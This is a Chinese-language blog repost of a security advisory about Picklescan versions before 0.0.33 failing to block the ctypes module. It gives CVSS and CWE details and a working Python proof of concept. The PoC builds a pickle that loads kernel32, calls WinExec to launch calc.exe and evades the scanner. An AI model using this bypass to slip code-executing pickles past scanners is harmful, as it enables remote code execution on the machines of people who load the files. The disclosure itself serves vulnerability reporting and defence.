Picklescan安全漏洞分析:ctypes模块未被拦截带来的高风险威胁

本文详细分析了Picklescan工具未能拦截Python ctypes模块所导致的高危安全漏洞。攻击者可能利用此漏洞绕过检测,通过加载DLL、调用C函数及操作原始内存指针实现远程代码执行,甚至瓦解基于解释器的Python沙箱环境。

漏洞详情

安全公告:GHSA-4675-36f9-wf6r 严重程度:高危 (CVSS 评分 8.9) 发布日期:2025年12月26日 更新日期:2025年12月29日

涉及软件包picklescan (pip)

受影响版本< 0.0.33 已修复版本0.0.33

漏洞描述

漏洞概述 Picklescan 未能将 ctypes 模块标记为危险模块,这是一个严重的安全隐患。ctypes 本质上是一个外部函数接口库,可被用于:

  • 加载动态链接库 (DLL)
  • 直接调用 C 函数
  • 操作原始内存指针

这使得攻击者能够通过直接调用系统调用(绕过被拦截的模块)来实现远程代码执行。ctypes 被允许存在的另一个主要问题是,它可以被用来瓦解基于解释器的 Python 沙箱环境,因为它允许直接访问原始内存。 与普通的利用链和绕过技术相比,这是一个更严重的漏洞。如果原始内存访问未被检测到,未来可能被用于许多恶意目的。

概念验证 (PoC)

以下 Python 代码演示了如何利用此漏洞生成一个恶意 pickle 文件,该文件能够绕过最新版本 Picklescan 的检测:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import pickle
import ctypes
import operator

class Kernel32Loader:
    def __reduce__(self):
        # 直接加载 kernel32
        return (ctypes.WinDLL, ("kernel32.dll",))

class WinExecGetter:
    def __reduce__(self):
        return (operator.itemgetter("WinExec"), (Kernel32Loader(),))

class PopCalc:
    def __reduce__(self):
        # 使用 methodcaller 调用函数指针的 "__call__" 方法
        return (
            operator.methodcaller("__call__", b"calc.exe", 1), 
            (WinExecGetter(),)
        )

try:
    payload = pickle.dumps(PopCalc())
    
    with open("calc_exploit.pkl", "wb") as f:
        f.write(payload)
        
    print("已生成 'calc_exploit.pkl'")

except Exception as e:
    print(f"生成失败: {e}")

生成的 pickle 文件 (calc_exploit.pkl) 在加载时,不会被最新版本的 Picklescan 检测为恶意:

1
2
3
import pickle
print("正在加载 bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))

相关参考

CVSS 4.0 评分详情

基础评分向量CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

可利用性指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 攻击要求:无
  • 所需权限:无
  • 用户交互:无

受影响系统影响指标

  • 机密性影响:高
  • 完整性影响:高
  • 可用性影响:高

后续系统影响指标

  • 机密性影响:无
  • 完整性影响:无
  • 可用性影响:无

关联弱点

  • CWE-184:不完整的禁止输入列表 - 产品实现了一种依赖于禁止输入列表的保护机制,但该列表不完整。
  • CWE-913:动态管理代码资源控制不当 - 产品未适当限制对动态管理代码资源的读取或写入。

致谢

此漏洞由 0x-Apollyon 报告。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计